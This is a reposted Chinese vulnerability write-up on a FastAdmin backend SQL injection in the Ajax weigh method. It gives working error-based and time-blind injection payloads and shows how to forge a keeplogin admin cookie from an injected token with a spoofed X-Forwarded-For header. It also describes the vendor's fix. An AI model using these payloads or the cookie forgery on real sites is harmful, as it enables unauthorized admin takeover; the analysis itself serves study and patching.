fastadmin 后台注入分析
2020-10-15 11:23:05 Author: xz.aliyun.com(查看原文) 阅读量:466 收藏

0x01 前言

前段时间续师傅又给我指出了fastadmin 后台低权限拿 shell 的漏洞点:

在忙好自己的事情后,有了这次的分析

影响版本:V1.0.0.20191212_beta 及以下版本

0x02 fastadmin 的鉴权流程

低权限后台拿 shell 遇到的最大的问题就是有些功能存在 getshell 的点,但是低权限没有权限去访问。因此我们有以下几个思路:

  • 在低权限的情况下,找到某些功能存在 getshell 的点
  • 把低权限提升到高权限,再利用高权限可访问的功能点去 getshell
  • 绕过权限的限制,找到 getshell 的点

本文利用的就是第一种和第二种相结合的情况,在低权限的情况下,找到可利用的某些方法,利用这种方法本身存在的漏洞去获取高权限,然后利用高权限可访问的功能点去 getshell。

既然强调了权限,因此必须要介绍一下fastadmin 的鉴权流程,只有清楚在什么情况下,有权限访问,什么情况下无权限访问,才可以找到系统中可能存在的漏洞点。

在 fastadmin 中的/application/common/controller/Backend.php文件中,详细说明了鉴权的一些信息。关键信息如下:

protected $noNeedLogin = [];    
 protected $noNeedRight = [];    

...

   public function _initialize()
    {
        $modulename = $this->request->module();
        $controllername = Loader::parseName($this->request->controller());
        $actionname = strtolower($this->request->action());
        $path = str_replace('.', '/', $controllername) . '/' . $actionname;
        !defined('IS_ADDTABS') && define('IS_ADDTABS', input("addtabs") ? true : false);
        !defined('IS_DIALOG') && define('IS_DIALOG', input("dialog") ? true : false);
        !defined('IS_AJAX') && define('IS_AJAX', $this->request->isAjax());
        $this->auth = Auth::instance();
        // 设置当前请求的URI
        $this->auth->setRequestUri($path);
        // 检测是否需要验证登录
        if (!$this->auth->match($this->noNeedLogin)) {
            //检测是否登录
            if (!$this->auth->isLogin()) {
                Hook::listen('admin_nologin', $this);
                $url = Session::get('referer');
                $url = $url ? $url : $this->request->url();
                if ($url == '/') {
                    $this->redirect('index/login', [], 302, ['referer' => $url]);
                    exit;
                }
                $this->error(__('Please login first'), url('index/login', ['url' => $url]));
            }
            // 判断是否需要验证权限
            if (!$this->auth->match($this->noNeedRight)) {
                // 判断控制器和方法判断是否有对应权限
                if (!$this->auth->check($path)) {
                    Hook::listen('admin_nopermission', $this);
                    $this->error(__('You have no permission'), '');
                }
            }
        }

fastamdin 规定了两个集合,一个集合为无需登录,无需鉴权,即可访问的$noNeedLogin,一个集合为需要登录,无需鉴权,即可访问的$noNeedRight,然后定义了初始化函数_initialize(),该方法主要用于验证访问当前 URL的用户是否登录,访问的方法是否需要登录以及访问的方法是否需要检验权限。

这个鉴权文件被各个控制器所引用,并且这些控制器在开始处都会规定哪些方法属于$noNeedLogin,哪些方法属于$noNeedRight,如在/application/admin/index.php文件中的开头处:

规定了login方法为无需登录,无需鉴权的方法,indexlogout为需要登录,无需鉴权的方法。然后重写_initialize(),并且在该方法中引入了Backend.php中的_initialize()判断方法。

以上为 fastadmin 的简单的鉴权流程,更复杂的鉴权,如需要登录并且需要鉴权等,有兴趣的朋友可自行阅读源代码去研究。

0x03 漏洞分析

漏洞点:/application/admin/controller/Ajax.php

在该文件的开头处,定义了各类方法的权限,如下:

规定lang方法无需登录、无需鉴权即可访问,其他方法(upload、weigh、wipecache、category、area、icon)为需要登录、无需鉴权即可访问的方法。其中,weigh方法的主要内容如下:

public function weigh()
    {
        //排序的数组
        $ids = $this->request->post("ids");
        //拖动的记录ID
        $changeid = $this->request->post("changeid");
        //操作字段
        $field = $this->request->post("field");
        //操作的数据表
        $table = $this->request->post("table");
        //主键
        $pk = $this->request->post("pk");
        //排序的方式
        $orderway = strtolower($this->request->post("orderway", ""));
        $orderway = $orderway == 'asc' ? 'ASC' : 'DESC';
        $sour = $weighdata = [];
        $ids = explode(',', $ids);
        $prikey = $pk ? $pk : (Db::name($table)->getPk() ?: 'id');
        $pid = $this->request->post("pid");
        //限制更新的字段
        $field = in_array($field, ['weigh']) ? $field : 'weigh';

        // 如果设定了pid的值,此时只匹配满足条件的ID,其它忽略
        if ($pid !== '') {
            $hasids = [];
            $list = Db::name($table)->where($prikey, 'in', $ids)->where('pid', 'in', $pid)->field("{$prikey},pid")->select();
            foreach ($list as $k => $v) {
                $hasids[] = $v[$prikey];
            }
            $ids = array_values(array_intersect($ids, $hasids));
        }

        $list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
        foreach ($list as $k => $v) {
            $sour[] = $v[$prikey];
            $weighdata[$v[$prikey]] = $v[$field];
        }
        $position = array_search($changeid, $ids);
        $desc_id = $sour[$position];    //移动到目标的ID值,取出所处改变前位置的值
        $sour_id = $changeid;
        $weighids = array();
        $temp = array_values(array_diff_assoc($ids, $sour));
        foreach ($temp as $m => $n) {
            if ($n == $sour_id) {
                $offset = $desc_id;
            } else {
                if ($sour_id == $temp[0]) {
                    $offset = isset($temp[$m + 1]) ? $temp[$m + 1] : $sour_id;
                } else {
                    $offset = isset($temp[$m - 1]) ? $temp[$m - 1] : $sour_id;
                }
            }
            $weighids[$n] = $weighdata[$offset];
            Db::name($table)->where($prikey, $n)->update([$field => $weighdata[$offset]]);
        }
        $this->success();
    }

在本方法中,weigh方法通过 POST 传值的方式,获取到了idschangeidfieldtablepkorderway参数的值,可以看到,这些值全部没有经过过滤,然后直接传入了 SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();中。

在这段后加上打印 SQL 语句:echo Db::name($table)->getLastSql();,如下图所示:

可以看到其 SQL 语句 如下:

SELECT `type`,`pid` FROM `fa_category` WHERE `type` IN ('2','4','1','3','5','6','8','9','7','10','11','12','13') AND `pid` IN (0)

这样就很清楚了,我们可以修改table值,来执行我们所需要的 SQL 语句,如下:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

成功爆出 user(),但需要注意的是,由于是本地调试,我开启了 fastadmin 的应用调试模式,如果将其关闭:

那么就不会返回错误信息,也自然不会返回我们所需要的信息:

因此我需要修改 SQL 语句,将报错模式改为时间盲注模式:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category where id=1 and if(ascii(substr(database(),1,1))>95,sleep(2),1);

发现出错

DeBug 调试发现>符号被转义成实体了:

没事,将语句改为:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23

成功注入

同理,利用时间盲注,可以注入出用户名和密码,具体语句可以自行查找相关的实际盲注语句,这里不再赘述

但是,我们知道当管理员密码复杂的时候,MD5 不一定能够破解,况且 fastadmin 密码是加盐的:

那么这个注入岂不是很鸡肋?

当然不是!在/application/admin/controller/Index.php文件的大约100行,有以下代码:

// 根据客户端的cookie,判断是否可以自动登录
        if ($this->auth->autologin()) {
            $this->redirect($url);
        }

跟进autologin()

public function autologin()
    {
        $keeplogin = Cookie::get('keeplogin');
        if (!$keeplogin) {
            return false;
        }
        list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
        if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
            $admin = Admin::get($id);
            if (!$admin || !$admin->token) {
                return false;
            }
            //token有变更
            if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
                return false;
            }
            $ip = request()->ip();
            //IP有变动
            if ($admin->loginip != $ip) {
                return false;
            }
            Session::set("admin", $admin->toArray());
            //刷新自动登录的时效
            $this->keeplogin($keeptime);
            return true;
        } else {
            return false;
        }
    }

keeplogin中获取信息,然后分割,将其分别赋值给$id,$keeptime,$expiretime,$key变量,若这些值大于当前时间并且满足以下条件:

  • id是否为管理员
  • 这个 id 的 token 在数据库中是否为空
  • token 是否有变更
  • IP 是否有变动

满足以上条件,那么就可以自动登陆。那么该如何满足呢?

从上面的注入漏洞我们可以从fa_admin表中的所有信息,fa_admin表字段信息如下:

因此可以根据存在的 id 值、token 值、IP 值来满足所需要的条件。

对于 id 和 token 我们可以直接根据注入获得的信息来满足条件,对于 ip 的获取,我们可以使用 X-Forwarded-For来伪造 IP

所以只要满足最后一个条件——token 是否有变更,即可自动登陆

从上面代码中可以看出,idkeeptimeexpiretime变量都是我们可控的,token可以通过注入获得,那么就很简单了,我们自己来构造一个符合$key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token值的key,然后构造keeplogin值来进行自动登陆。

我们可以赋值如下:

id-->1-->c4ca4238a0b923820dcc509a6f75849b

keeptime-->86400-->641bed6f12f5f0033edd3827deec6759

expiretime-->1601902475-->02dbcd10c7f55b1c592350154b5e87de

token-->43e78cd9-b16b-4f27-9648-d60fd0e9b464

key-->c4ca4238a0b923820dcc509a6f75849b641bed6f12f5f0033edd3827deec675902dbcd10c7f55b1c592350154b5e87de43e78cd9-b16b-4f27-9648-d60fd0e9b464-->1fe1e4fc538e66089c4e24ed3b8e4c8c

keeplogin-->1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c

这里要注意的是我们赋值的 expiretime变量要符合条件$id && $keeptime && $expiretime && $key && $expiretime > time()才可,具体可以自己使用以下代码测试:

<?php
    $keeplogin = '1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c';
    list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
    if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
     echo time();
    }else{
     echo 'No';
    }
?>

构造好keeplogin后,我们可以来测试一下,首先看一下系统自动生成的 keeplogin为:

1%7C86400%7C1601886601%7Cab804a9bbb40d920704bc6e1b18a2733

然后打开无痕窗口填入我们自己生成的keeplogin

1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c

刷新后,发现自动登陆了id为 1 的 admin 账号:

剩下的拿 shell 方式就和网上流传的一样了,其实如果权限够,也可以尝试注入直接拿 shell。

0x04 漏洞修复

V1.0.0.20191212_beta后,官方对于$table变量进行了修复:

$table = $this->request->post("table");
       if (!Validate::is($table, "alphaDash")) {
            $this->error();
        }

$table变量做了判断,验证其值是否为字母、数字、下划线_、破折号-

这样使注入语句不能出现逗号,括号等字符,对于注入的语句做了极大的限制

0x05 总结

本文主要对于低权限如何提升至高权限的方法进行了分析,虽然不是最新版的,但是思路可以记录学习一波。值得一提的是,在V1.0.0.20200228_beta~V1.0.0.20200920_beta版本中,对于pk变量未进行修复,但是在V1.2.0.20201001_beta版本中,却对其进行了修复:

此外,SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();中传入了tableprikey(pk)fieldidsorderway变量,其中对于table以及prikey(pk)进行了过滤,其他变量却是没有的,so~有兴趣的朋友可以自己测试看看


文章来源: http://xz.aliyun.com/t/8360
如有侵权请联系:admin#unsafe.sh